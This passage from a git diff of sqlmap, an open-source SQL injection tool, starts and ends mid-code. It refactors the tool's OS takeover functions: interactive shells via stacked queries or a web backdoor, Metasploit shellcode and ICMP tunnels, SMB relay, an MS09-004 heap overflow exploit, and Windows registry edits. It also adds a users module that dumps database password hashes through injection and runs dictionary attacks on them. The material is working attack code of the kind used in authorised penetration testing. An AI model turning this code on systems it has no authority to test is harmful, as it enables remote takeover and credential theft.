sqlmapNotVulnerableException(errMsg) + raise SqlmapNotVulnerableException(errMsg) + self.getRemoteTempPath() self.initEnv(web=web) if not web or (web and self.webBackdoorUrl is not None): self.runCmd(conf.osCmd) if not conf.osShell and not conf.osPwn and not conf.cleanup: - self.cleanup() + self.cleanup(web=web) def osShell(self): - if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: + if isStackingAvailable() or conf.direct: web = False - elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and Backend.isDbms(DBMS.MYSQL): + elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg) @@ -73,18 +77,34 @@ def osShell(self): errMsg = "unable to prompt for an interactive operating " errMsg += "system shell via the back-end DBMS because " errMsg += "stacked queries SQL injection is not supported" - raise sqlmapNotVulnerableException(errMsg) + raise SqlmapNotVulnerableException(errMsg) - self.initEnv(web=web) + self.getRemoteTempPath() + + try: + self.initEnv(web=web) + except SqlmapFilePathException: + if not web and not conf.direct: + infoMsg = "falling back to web backdoor method..." + logger.info(infoMsg) + + web = True + kb.udfFail = True + + self.initEnv(web=web) + else: + raise if not web or (web and self.webBackdoorUrl is not None): self.shell() if not conf.osPwn and not conf.cleanup: - self.cleanup() + self.cleanup(web=web) def osPwn(self): goUdf = False + fallbackToWeb = False + setupSuccess = False self.checkDbmsOs() @@ -92,21 +112,17 @@ def osPwn(self): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" - valids = ( 1, 2 ) while True: - tunnel = readInput(msg, default=1) + tunnel = readInput(msg, default='1') - if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in valids: + if isDigit(tunnel) and int(tunnel) in (1, 2): tunnel = int(tunnel) break - elif isinstance(tunnel, int) and tunnel in valids: - break - else: - warnMsg = "invalid value, valid values are 1 and 2" - logger.warn(warnMsg) + warnMsg = "invalid value, valid values are '1' and '2'" + logger.warning(warnMsg) else: tunnel = 1 @@ -122,23 +138,26 @@ def osPwn(self): errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" - raise sqlmapMissingPrivileges, errMsg + raise SqlmapMissingPrivileges(errMsg) try: - from impacket import ImpactDecoder - from impacket import ImpactPacket - except ImportError, _: - errMsg = "sqlmap requires 'impacket' third-party library " - errMsg += "in order to run icmpsh master. Download from " - errMsg += "http://oss.coresecurity.com/projects/impacket.html" - raise sqlmapMissingDependence, errMsg - - sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" - - if os.path.exists(sysIgnoreIcmp): - fp = open(sysIgnoreIcmp, "wb") - fp.write("1") - fp.close() + __import__("impacket") + except ImportError: + errMsg = "sqlmap requires 'python-impacket' third-party library " + errMsg += "in order to run icmpsh master. You can get it at " + errMsg += "https://github.com/SecureAuthCorp/impacket" + raise SqlmapMissingDependence(errMsg) + + filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" + + if os.path.exists(filename): + try: + with openFile(filename, "wb") as f: + f.write("1") + except IOError as ex: + errMsg = "there has been a file opening/writing error " + errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" @@ -148,65 +167,80 @@ def osPwn(self): errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) - if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") - if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: + self.getRemoteTempPath() + + if isStackingAvailable() or conf.direct: web = False - self.getRemoteTempPath() self.initEnv(web=web) if tunnel == 1: - if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" - msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" + msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)" while True: - choice = readInput(msg, default=1) + choice = readInput(msg, default='1') - if isinstance(choice, basestring) and choice.isdigit() and int(choice) in ( 1, 2 ): + if isDigit(choice) and int(choice) in (1, 2): choice = int(choice) break - elif isinstance(choice, int) and choice in ( 1, 2 ): - break - else: - warnMsg = "invalid value, valid values are 1 and 2" - logger.warn(warnMsg) + warnMsg = "invalid value, valid values are '1' and '2'" + logger.warning(warnMsg) if choice == 1: goUdf = True if goUdf: - exitfunc="thread" + exitfunc = "thread" + setupSuccess = True else: - exitfunc="process" + exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: - self.uploadShellcodeexec() + setupSuccess = self.uploadShellcodeexec(web=web) + + if setupSuccess is not True: + if Backend.isDbms(DBMS.MYSQL): + fallbackToWeb = True + else: + msg = "unable to mount the operating system takeover" + raise SqlmapFilePathException(msg) + + if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc: + debugMsg = "by default MySQL on Windows runs as SYSTEM " + debugMsg += "user, no need to privilege escalate" + logger.debug(debugMsg) - if Backend.isOs(OS.WINDOWS) and conf.privEsc: - if Backend.isDbms(DBMS.MYSQL): - debugMsg = "by default MySQL on Windows runs as SYSTEM " - debugMsg += "user, no need to privilege escalate" - logger.debug(debugMsg) elif tunnel == 2: - self.uploadIcmpshSlave(web=web) - self.icmpPwn() + setupSuccess = self.uploadIcmpshSlave(web=web) - elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and Backend.isDbms(DBMS.MYSQL): + if setupSuccess is not True: + if Backend.isDbms(DBMS.MYSQL): + fallbackToWeb = True + else: + msg = "unable to mount the operating system takeover" + raise SqlmapFilePathException(msg) + + if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True - infoMsg = "going to use a web backdoor to establish the tunnel" + if fallbackToWeb: + infoMsg = "falling back to web backdoor to establish the tunnel" + else: + infoMsg = "going to use a web backdoor to establish the tunnel" logger.info(infoMsg) - self.initEnv(web=web) + self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: @@ -217,27 +251,34 @@ def osPwn(self): warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" - logger.warn(warnMsg) - - self.getRemoteTempPath() + logger.warning(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") - self.uploadShellcodeexec(web=web) + setupSuccess = self.uploadShellcodeexec(web=web) + + if setupSuccess is not True: + msg = "unable to mount the operating system takeover" + raise SqlmapFilePathException(msg) + elif tunnel == 2: - self.uploadIcmpshSlave(web=web) - self.icmpPwn() - else: - errMsg = "unable to prompt for an out-of-band session because " - errMsg += "stacked queries SQL injection is not supported" - raise sqlmapNotVulnerableException(errMsg) + setupSuccess = self.uploadIcmpshSlave(web=web) + + if setupSuccess is not True: + msg = "unable to mount the operating system takeover" + raise SqlmapFilePathException(msg) - if tunnel == 1: - if not web or (web and self.webBackdoorUrl is not None): + if setupSuccess: + if tunnel == 1: self.pwn(goUdf) + elif tunnel == 2: + self.icmpPwn() + else: + errMsg = "unable to prompt for an out-of-band session" + raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: - self.cleanup() + self.cleanup(web=web) def osSmb(self): self.checkDbmsOs() @@ -246,14 +287,14 @@ def osSmb(self): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" - raise sqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) - if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: - if Backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ): + if not isStackingAvailable() and not conf.direct: + if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" - raise sqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " @@ -285,12 +326,12 @@ def osSmb(self): printWarn = False if printWarn: - logger.warn(warnMsg) + logger.warning(warnMsg) self.smb() def osBof(self): - if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: + if not isStackingAvailable() and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): @@ -298,7 +339,7 @@ def osBof(self): errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" - raise sqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " @@ -307,14 +348,8 @@ def osBof(self): msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " - inp = readInput(msg, default="N") - - if inp and inp[0].lower() == "y": - dos = True - else: - dos = False - if dos: + if readInput(msg, default='N', boolean=True): self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) @@ -323,10 +358,10 @@ def osBof(self): def uncPathRequest(self): errMsg = "'uncPathRequest' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod(errMsg) - def __regInit(self): - if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: + def _regInit(self): + if not isStackingAvailable() and not conf.direct: return self.checkDbmsOs() @@ -334,16 +369,16 @@ def __regInit(self): if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" - raise sqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) self.initEnv() self.getRemoteTempPath() def regRead(self): - self.__regInit() + self._regInit() if not conf.regKey: - default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" + default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" msg = "which registry key do you want to read? [%s] " % default regKey = readInput(msg, default=default) else: @@ -356,13 +391,13 @@ def regRead(self): else: regVal = conf.regVal - infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal) + infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal) logger.info(infoMsg) return self.readRegKey(regKey, regVal, True) def regAdd(self): - self.__regInit() + self._regInit() errMsg = "missing mandatory option" @@ -371,7 +406,7 @@ def regAdd(self): regKey = readInput(msg) if not regKey: - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey @@ -380,7 +415,7 @@ def regAdd(self): regVal = readInput(msg) if not regVal: - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal @@ -389,7 +424,7 @@ def regAdd(self): regData = readInput(msg) if not regData: - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) else: regData = conf.regData @@ -401,7 +436,7 @@ def regAdd(self): else: regType = conf.regType - infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal) + infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal) infoMsg += "with data '%s'. " % regData infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." @@ -410,7 +445,7 @@ def regAdd(self): self.addRegKey(regKey, regVal, regType, regData) def regDel(self): - self.__regInit() + self._regInit() errMsg = "missing mandatory option" @@ -419,7 +454,7 @@ def regDel(self): regKey = readInput(msg) if not regKey: - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey @@ -428,18 +463,17 @@ def regDel(self): regVal = readInput(msg) if not regVal: - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal message = "are you sure that you want to delete the Windows " - message += "registry path '%s\%s? [y/N] " % (regKey, regVal) - output = readInput(message, default="N") + message += "registry path '%s\\%s? [y/N] " % (regKey, regVal) - if output and output[0] not in ( "Y", "y" ): + if not readInput(message, default='N', boolean=True): return - infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal) + infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal) infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) diff --git a/plugins/generic/users.py b/plugins/generic/users.py new file mode 100644 index 00000000000..ccd1b7747e4 --- /dev/null +++ b/plugins/generic/users.py @@ -0,0 +1,675 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.agent import agent +from lib.core.common import arrayizeValue +from lib.core.common import Backend +from lib.core.common import filterPairValues +from lib.core.common import getLimitRange +from lib.core.common import isAdminFromPrivileges +from lib.core.common import isDBMSVersionAtLeast +from lib.core.common import isInferenceAvailable +from lib.core.common import isNoneValue +from lib.core.common import isNullValue +from lib.core.common import isNumPosStrValue +from lib.core.common import isTechniqueAvailable +from lib.core.common import parsePasswordHash +from lib.core.common import readInput +from lib.core.common import unArrayizeValue +from lib.core.compat import xrange +from lib.core.convert import encodeHex +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.dicts import DB2_PRIVS +from lib.core.dicts import FIREBIRD_PRIVS +from lib.core.dicts import INFORMIX_PRIVS +from lib.core.dicts import MYSQL_PRIVS +from lib.core.dicts import PGSQL_PRIVS +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS +from lib.core.enums import EXPECTED +from lib.core.enums import FORK +from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import CURRENT_USER +from lib.core.settings import PLUS_ONE_DBMSES +from lib.core.threads import getCurrentThreadData +from lib.request import inject +from lib.utils.hash import attackCachedUsersPasswords +from lib.utils.hash import storeHashesToFile +from lib.utils.pivotdumptable import pivotDumpTable +from thirdparty.six.moves import zip as _zip + +class Users(object): + """ + This class defines users' enumeration functionalities for plugins. + """ + + def __init__(self): + kb.data.currentUser = "" + kb.data.isDba = None + kb.data.cachedUsers = [] + kb.data.cachedUsersPasswords = {} + kb.data.cachedUsersPrivileges = {} + kb.data.cachedUsersRoles = {} + + def getCurrentUser(self): + infoMsg = "fetching current user" + logger.info(infoMsg) + + query = queries[Backend.getIdentifiedDbms()].current_user.query + + if not kb.data.currentUser: + kb.data.currentUser = unArrayizeValue(inject.getValue(query)) + + return kb.data.currentUser + + def isDba(self, user=None): + infoMsg = "testing if current user is DBA" + logger.info(infoMsg) + + query = None + + if Backend.isDbms(DBMS.MYSQL): + self.getCurrentUser() + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + kb.data.isDba = "root" in (kb.data.currentUser or "") + elif kb.data.currentUser: + query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0] + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: + query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user + else: + query = queries[Backend.getIdentifiedDbms()].is_dba.query + + if query: + query = agent.forgeCaseStatement(query) + kb.data.isDba = inject.checkBooleanExpression(query) or False + + return kb.data.isDba + + def getUsers(self): + infoMsg = "fetching database users" + logger.info(infoMsg) + + rootQuery = queries[Backend.getIdentifiedDbms()].users + + condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) + condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) + condition |= (Backend.isDbms(DBMS.H2) and not isDBMSVersionAtLeast("2")) + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.inband.query3 + elif condition: + query = rootQuery.inband.query2 + else: + query = rootQuery.inband.query + + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + kb.data.cachedUsers = [] + for value in arrayizeValue(values): + value = unArrayizeValue(value) + if not isNoneValue(value): + kb.data.cachedUsers.append(value) + + if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of database users" + logger.info(infoMsg) + + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.blind.count3 + elif condition: + query = rootQuery.blind.count2 + else: + query = rootQuery.blind.count + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if count == 0: + return kb.data.cachedUsers + elif not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of database users" + raise SqlmapNoneDataException(errMsg) + + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + for index in indexRange: + if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): + query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") + elif Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.blind.query3 % index + elif condition: + query = rootQuery.blind.query2 % index + else: + query = rootQuery.blind.query % index + + user = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if user: + kb.data.cachedUsers.append(user) + + if not kb.data.cachedUsers: + errMsg = "unable to retrieve the database users" + logger.error(errMsg) + + return kb.data.cachedUsers + + def getPasswordHashes(self): + infoMsg = "fetching database users password hashes" + + rootQuery = queries[Backend.getIdentifiedDbms()].passwords + + if conf.user == CURRENT_USER: + infoMsg += " for current user" + conf.user = self.getCurrentUser() + + logger.info(infoMsg) + + if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + conf.user = conf.user.upper() + + if conf.user: + users = conf.user.split(',') + + if Backend.isDbms(DBMS.MYSQL): + for user in users: + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) + + if parsedUser: + users[users.index(user)] = parsedUser.groups()[0] + else: + users = [] + + users = [_ for _ in users if _] + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): + query = rootQuery.inband.query2 + else: + query = rootQuery.inband.query + + condition = rootQuery.inband.condition + + if conf.user: + query += " WHERE " + query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + + if Backend.isDbms(DBMS.SYBASE): + getCurrentThreadData().disableStdOut = True + + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False) + + if retVal: + for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): + if user not in kb.data.cachedUsersPasswords: + kb.data.cachedUsersPasswords[user] = [password] + else: + kb.data.cachedUsersPasswords[user].append(password) + + getCurrentThreadData().disableStdOut = False + else: + values = inject.getValue(query, blind=False, time=False) + + if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): + values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) + elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)): + values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False) + + for user, password in filterPairValues(values): + if not user or user == " ": + continue + + password = parsePasswordHash(password) + + if user not in kb.data.cachedUsersPasswords: + kb.data.cachedUsersPasswords[user] = [password] + else: + kb.data.cachedUsersPasswords[user].append(password) + + if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: + fallback = False + + if not len(users): + users = self.getUsers() + + if Backend.isDbms(DBMS.MYSQL): + for user in users: + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) + + if parsedUser: + users[users.index(user)] = parsedUser.groups()[0] + + if Backend.isDbms(DBMS.SYBASE): + getCurrentThreadData().disableStdOut = True + + query = rootQuery.inband.query + + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True) + + if retVal: + for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): + password = "0x%s" % encodeHex(password, binary=False).upper() + + if user not in kb.data.cachedUsersPasswords: + kb.data.cachedUsersPasswords[user] = [password] + else: + kb.data.cachedUsersPasswords[user].append(password) + + getCurrentThreadData().disableStdOut = False + else: + retrievedUsers = set() + + for user in users: + user = unArrayizeValue(user) + + if user in retrievedUsers: + continue + + if Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): + count = 1 + else: + infoMsg = "fetching number of password hashes " + infoMsg += "for user '%s'" % user + logger.info(infoMsg) + + if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): + query = rootQuery.blind.count2 % user + else: + query = rootQuery.blind.count % user + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + if Backend.isDbms(DBMS.MSSQL): + fallback = True + count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + elif Backend.isDbms(DBMS.MYSQL): + fallback = True + count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + warnMsg = "unable to retrieve the number of password " + warnMsg += "hashes for user '%s'" % user + logger.warning(warnMsg) + continue + + infoMsg = "fetching password hashes for user '%s'" % user + logger.info(infoMsg) + + passwords = [] + + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + for index in indexRange: + if Backend.isDbms(DBMS.MSSQL): + if Backend.isVersionWithin(("2005", "2008")): + query = rootQuery.blind.query2 % (user, index, user) + else: + query = rootQuery.blind.query % (user, index, user) + + if fallback: + query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr") + + elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): + query = rootQuery.blind.query % (user,) + + elif Backend.isDbms(DBMS.HSQLDB): + query = rootQuery.blind.query % (index, user) + + else: + query = rootQuery.blind.query % (user, index) + + if Backend.isDbms(DBMS.MYSQL): + if fallback: + query = query.replace("authentication_string", "password") + + password = unArrayizeValue(inject.getValue(query, union=False, error=False)) + password = parsePasswordHash(password) + + passwords.append(password) + + if passwords: + kb.data.cachedUsersPasswords[user] = passwords + else: + warnMsg = "unable to retrieve the password " + warnMsg += "hashes for user '%s'" % user + logger.warning(warnMsg) + + retrievedUsers.add(user) + + if not kb.data.cachedUsersPasswords: + errMsg = "unable to retrieve the password hashes for the " + errMsg += "database users" + logger.error(errMsg) + else: + for user in kb.data.cachedUsersPasswords: + kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) + + storeHashesToFile(kb.data.cachedUsersPasswords) + + message = "do you want to perform a dictionary-based attack " + message += "against retrieved password hashes? [Y/n/q]" + choice = readInput(message, default='Y').upper() + + if choice == 'N': + pass + elif choice == 'Q': + raise SqlmapUserQuitException + else: + attackCachedUsersPasswords() + + return kb.data.cachedUsersPasswords + + def getPrivileges(self, query2=False): + infoMsg = "fetching database users privileges" + + rootQuery = queries[Backend.getIdentifiedDbms()].privileges + + if conf.user == CURRENT_USER: + infoMsg += " for current user" + conf.user = self.getCurrentUser() + + logger.info(infoMsg) + + if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + conf.user = conf.user.upper() + + if conf.user: + users = conf.user.split(',') + + if Backend.isDbms(DBMS.MYSQL): + for user in users: + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) + + if parsedUser: + users[users.index(user)] = parsedUser.groups()[0] + else: + users = [] + + users = [_ for _ in users if _] + + # Set containing the list of DBMS administrators + areAdmins = set() + + if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + query = rootQuery.inband.query2 + condition = rootQuery.inband.condition2 + elif Backend.isDbms(DBMS.ORACLE) and query2: + query = rootQuery.inband.query2 + condition = rootQuery.inband.condition2 + else: + query = rootQuery.inband.query + condition = rootQuery.inband.condition + + if conf.user: + query += " WHERE " + + if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: + query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) + else: + query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + + values = inject.getValue(query, blind=False, time=False) + + if not values and Backend.isDbms(DBMS.ORACLE) and not query2: + infoMsg = "trying with table 'USER_SYS_PRIVS'" + logger.info(infoMsg) + + return self.getPrivileges(query2=True) + + if not isNoneValue(values): + for value in values: + user = None + privileges = set() + + for count in xrange(0, len(value or [])): + # The first column is always the username + if count == 0: + user = value[count] + + # The other columns are the privileges + else: + privilege = value[count] + + if privilege is None: + continue + + # In PostgreSQL we get 1 if the privilege is + # True, 0 otherwise + if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): + if int(privilege) == 1 and count in PGSQL_PRIVS: + privileges.add(PGSQL_PRIVS[count]) + + # In MySQL >= 5.0 and Oracle we get the list + # of privileges as string + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE): + privileges.add(privilege) + + # In MySQL < 5.0 we get Y if the privilege is + # True, N otherwise + elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + if privilege.upper() == 'Y': + privileges.add(MYSQL_PRIVS[count]) + + # In Firebird we get one letter for each privilege + elif Backend.isDbms(DBMS.FIREBIRD): + if privilege.strip() in FIREBIRD_PRIVS: + privileges.add(FIREBIRD_PRIVS[privilege.strip()]) + + # In DB2 we get Y or G if the privilege is + # True, N otherwise + elif Backend.isDbms(DBMS.DB2): + privs = privilege.split(',') + privilege = privs[0] + if len(privs) > 1: + privs = privs[1] + privs = list(privs.strip()) + i = 1 + + for priv in privs: + if priv.upper() in ('Y', 'G'): + for position, db2Priv in DB2_PRIVS.items(): + if position == i: + privilege += ", " + db2Priv + + i += 1 + + privileges.add(privilege) + + if user in kb.data.cachedUsersPrivileges: + kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user])) + else: + kb.data.cachedUsersPrivileges[user] = list(privileges) + + if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct: + if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: + conditionChar = "LIKE" + else: + conditionChar = "=" + + if not len(users): + users = self.getUsers() + + if Backend.isDbms(DBMS.MYSQL): + for user in users: + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) + + if parsedUser: + users[users.index(user)] = parsedUser.groups()[0] + + retrievedUsers = set() + + for user in users: + outuser = user + if user in retrievedUsers: + continue + + if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: + user = "%%%s%%" % user + + if Backend.isDbms(DBMS.INFORMIX): + count = 1 + else: + infoMsg = "fetching number of privileges " + infoMsg += "for user '%s'" % outuser + logger.info(infoMsg) + + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + query = rootQuery.blind.count2 % user + elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: + query = rootQuery.blind.count % (conditionChar, user) + elif Backend.isDbms(DBMS.ORACLE) and query2: + query = rootQuery.blind.count2 % user + else: + query = rootQuery.blind.count % user + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + if not retrievedUsers and 